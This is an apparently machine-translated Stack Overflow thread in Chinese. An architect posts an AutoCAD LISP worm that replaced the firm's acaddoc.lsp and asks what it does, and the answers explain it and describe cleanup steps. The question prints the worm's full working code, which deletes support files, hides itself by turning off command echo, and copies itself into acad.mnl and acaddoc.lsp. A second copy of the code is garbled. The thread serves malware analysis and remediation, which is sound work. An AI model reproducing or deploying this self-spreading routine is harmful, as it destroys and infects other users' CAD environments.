调试此LISP病毒正在执行的操作

调试此LISP病毒正在执行的操作,lisp,virus,autocad,Lisp,Virus,Autocad,我的公司受到一个AutoCAD病毒的攻击,该病毒正在删除我们的acaddoc.lsp,并用下面的例程替换它 我是一名架构师,不太清楚重复的“查找”和“删除”到底在做什么 问题 用什么替换文件(当前正在搜索acadapq) 谁为AutoCAD编写了病毒 以前有人见过这个吗?CAD论坛不是很有帮助 (setq wold_cmd (getvar "cmdecho")) (setvar "cmdecho" 0) (setq bb 2) (setq dpath (g

我的公司受到一个AutoCAD病毒的攻击,该病毒正在删除我们的
acaddoc.lsp
,并用下面的例程替换它

我是一名架构师,不太清楚重复的“查找”和“删除”到底在做什么

问题
  • 用什么替换文件(当前正在搜索
    acadapq
  • 谁为AutoCAD编写了病毒 以前有人见过这个吗?CAD论坛不是很有帮助

    (setq wold_cmd (getvar "cmdecho"))
    (setvar "cmdecho" 0)
    (setq bb 2)
    (setq dpath (getvar "dwgprefix"))
    (setq wpath (getvar "menuname"))
    (setq wpath (substr wpath 1 (- (strlen wpath) 4)))
    
    (setq n 0)
    (while (< n 1)
      (if (findfile "acad.fas")
          (if (vl-file-delete (findfile "acad.fas"))
              (setq n 0))
          (setq n 2)))
    
    (setq n 0)
    (while (< n 1)
      (if (findfile "lcm.fas")
          (if (vl-file-delete (findfile "lcm.fas"))
              (setq n 0))
          (setq n 2)))
    
    (setq n 0)
    (while (< n 1)
      (if (findfile "acad.lsp")
          (if (vl-file-delete (findfile "acad.lsp"))
              (setq n 0))
          (setq n 2)))
    
    (defun wwriteapp ()
      (if (setq wwjm1 (open wnewacad "w"))
          (progn
            (setq wwjm (open woldacad "r"))
            (while (setq wwz (read-line wwjm))
              (write-line wwz wwjm1))
            (close wwjm)
            (close wwjm1))))
    
    (setq lbz 0)
    (setq wwjqm (strcat dpath "acaddoc.lsp"))
    (if (setq wwjm (open wwjqm "r"))
        (progn
          (repeat 3 (read-line wwjm))
          (setq wz (read-line wwjm))
          (setq ab (atoi (substr wz 4 1)))
          (close wwjm)
          (if (> ab bb)
              (setq lbz 1))))
    
    (setq wwjqm (strcat wpath "acad.mnl"))
    
    (if (setq wwjm (open wwjqm "r"))
        (progn
          (repeat 3 (read-line wwjm))
          (setq wz (read-line wwjm))
          (setq nb (atoi (substr wz 4 1)))
          (close wwjm)
          (if (< nb bb)
              (setq lbz 1)))
        (setq lbz 1))
    (if (= lbz 1)
        (progn
          (setq woldacad (strcat dpath "acaddoc.lsp"))
          (setq wnewacad (strcat wpath "acad.mnl"))
          (wwriteapp)))
    (if (and (/= (substr dpath 1 1) (chr 67))
             (/= (substr dpath 1 1) (chr 68))
             (/= (substr dpath 1 1) (chr 69))
             (/= (substr dpath 1 1) (chr 70)))
        (progn
          (setq woldacad (strcat wpath "acad.mnl"))
          (setq wnewacad (strcat dpath "acaddoc.lsp"))
          (wwriteapp))
        (vl-file-delete (strcat dpath "acaddoc.lsp")))
    ;load "acadapq")
    (setvar "cmdecho" wold_cmd)
    
    (setq wold_cmd(getvar“cmdecho”))
    (setvar“cmdecho”0)
    (setq bb 2)
    (setq dpath(getvar“dwgprefix”))
    (setq wpath(getvar“menuname”))
    (setq wpath(substr wpath 1(-(strlen wpath)4)))
    (setq n 0)
    (while(ab-bb)
    (setq lbz 1)
    (setq wwjqm(strcat wpath“acad.mnl”))
    (如果(setq wwjm(打开wwjqm“r”))
    (项目
    (重复3(读取第wwjm行))
    (setq wz(读取行wwjm))
    (setq nb(atoi(substr wz 4 1)))
    (关闭wwjm)
    (如果(
    它正在执行常见AutoCAD自定义文件的支持文件路径漫游、删除和替换。(“acad.fas”、“acad.lsp”、“acaddoc.lsp”)我不知道“lcm.fas”是什么意思。它是AutoCAD垂直产品(即AutoCAD mechanical或Architectural desktop)的一部分吗

    循环本质上是“当我在支持路径上不断查找时删除它”

    据我所知,AutoCAD没有针对此问题的内置防御措施。(可能有一些acad系统变量停止执行这些文件)

    “cmdecho”行正在保存和恢复允许/禁止命令回显的系统变量。运行时将其关闭(因此您不会注意到),然后恢复原始设置

    礼貌的病毒:\


    AutoCAD启动时,将执行在其支持路径上找到的第一个“acad.fas”和第一个“acad.lsp”。每次AutoCAD加载一个新的.dwg文件时,它都会执行“acaddoc.lsp”。

    奇怪的是,lisp文件只有在网络上打开时才会创建,本地副本似乎没有这个问题。
    将del/s acaddoc.lsp和del/s acad.lsp添加到所有用户的登录脚本中,并运行一周左右,它将清除病毒传播的所有acaddoc.lsp和acad.lsp文件…在运行delete命令之前,请确保您实际上没有将这些文件中的任何文件用于您自己的目的,因为要清除这些文件,请遵循以下步骤此蠕虫:

    人工 在您的电脑上复制附加的例程:acaddocfix_1.6.lsp
    使用APPLOAD命令加载lisp文件
    lisp文件将自动运行,并将清除支持文件夹中存在的所有蠕虫

    而他们是另一种方式,我们可以把它作为一个批处理文件添加到任何用户启动他/她的电脑,因为我检查它之前

    自动运行 运行防病毒或清理程序以清除“acaddoc.lsp”文件。通常情况下,cleaner例程会在acad20xdoc.lsp文件中安装一个简单的例程,自动清理这些文件,但我建议先用防病毒软件清理所有病毒。 您还可以运行-acaddoc.bat dos批处理文件手动清理所有驱动器。 运行此批处理一次,它将删除系统上的所有acaddoc.lsp文件

    注意:如果Autocad支持文件夹中的任何受感染文件为只读文件,则清洁器将无法清理这些文件


    请参考

    这与编程非常相关。这应该留在堆栈溢出上。它是如何安装的?我的意思是,你的组织中有人一开始就故意手动安装了它吗?一种用lisp派生语言编写的病毒。这太酷了。这种“病毒”可以在任何有“rc”文件的应用程序中发生。操作系统的任务是防止这种情况在用户之间传播。如果没有适当的权限,任何人都可以进入(比如)GNU/Linux上的
    ~/.bashrc
    文件并将恶意命令放入其中。